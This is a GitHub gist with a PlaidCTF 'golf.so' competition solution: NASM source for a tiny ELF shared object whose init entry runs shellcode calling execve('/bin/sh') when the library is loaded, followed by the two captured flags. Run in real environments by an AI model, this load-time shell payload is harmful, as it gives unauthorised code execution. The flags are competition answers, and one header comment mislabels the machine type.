Created
April 26, 2020 23:47
-
-
Save Ferdi265/ed1a8ba0512d8c1e0a5c6f8f4e1f10ce to your computer and use it in GitHub Desktop.
PlaidCTF golf.so challenge - LosFuzzys
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
bits 64 | |
org 0x0 | |
ehdr: | |
db 0x7f, "ELF" ; e_ident[0:4] = ELFMAG | |
db 2 ; e_ident[4] = ELFCLASS64 | |
db 1 ; e_ident[5] = ELFDATA2LSB | |
db 1 ; e_ident[6] = EV_CURRENT | |
db 0 ; e_ident[7] = ELFOSABI_SYSV | |
db 0 ; e_ident[8] = EI_ABIVERSION | |
db 0, 0, 0, 0, 0, 0, 0 ; e_ident[9:16] | |
dw 3 ; e_type = ET_DYN | |
dw 62 ; e_machine = EM_386 | |
dd 1 ; e_version = EV_CURRENT | |
; dq 0 ; e_entry | |
code2: | |
xor edx, edx | |
push rsi | |
push rsp | |
pop rdi | |
push rsp | |
jmp code3 | |
; end of e_entry | |
dq phdr - ehdr ; e_phoff | |
; dq 0 ; e_shoff | |
; dd 0 ; e_flags | |
; dw 64 ; e_ehsize = sizeof (Elf64_Ehdr) | |
entry: | |
mov rsi, 0x0068732f6e69622f | |
xor eax, eax | |
jmp code2 | |
; end of e_ehsize | |
dw 56 ; e_phentsize = sizeof (Elf64_Phdr) | |
dw 2 ; e_phnum | |
; dw 0 ; e_shentsize | |
; dw 0 ; e_shnum | |
; dw 0 ; e_shstrndx | |
; overlaps into above | |
phdr: | |
; LOAD segment | |
dd 1 ; p_type = PT_LOAD | |
dd 7 ; p_flags = PF_R | PF_W | PF_X | |
dq 0 ; p_offset | |
dq ehdr ; p_vaddr | |
; dq 0 ; p_paddr | |
code3: | |
pop rbx | |
push rdx | |
push rbx | |
push rsp | |
mov al, 59 | |
jmp code4 | |
; end of p_paddr | |
dq end - ehdr ; p_filesz | |
; dq end - ehdr ; p_memsz | |
code4: | |
pop rsi | |
syscall | |
; 5 bytes left of p_memsz | |
db 0, 0, 0, 0, 0 | |
dq 4096 ; p_align = PAGE_SIZE | |
; DYNAMIC segment | |
dd 2 ; p_type = PT_DYNAMIC | |
dd 4 ; p_flags = PF_R | |
dq dynamic ; p_offset | |
dq dynamic ; p_vaddr | |
; dq 0 ; p_paddr | |
; db 0, 0, 0 | |
; dq end_dynamic - dynamic ; p_filesz | |
; dq end_dynamic - dynamic ; p_memsz | |
; dq 16 ; p_align = sizeof (Elf64_Dyn) | |
; overlaps into above | |
dynamic: | |
dq 12 ; DT_INIT | |
dq entry | |
dq 6 ; DT_SYMTAB | |
dq symtab | |
dq 5 ; DT_STRTAB | |
dq symtab | |
; dq 0 ; DT_NULL | |
; dq 0 | |
end_dynamic: | |
symtab: | |
end: | |
; PCTF{th0ugh_wE_have_cl1mBed_far_we_MusT_St1ll_c0ntinue_oNward} | |
; PCTF{t0_get_a_t1ny_elf_we_5tick_1ts_hand5_in_its_ears_rtmlpntyea} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment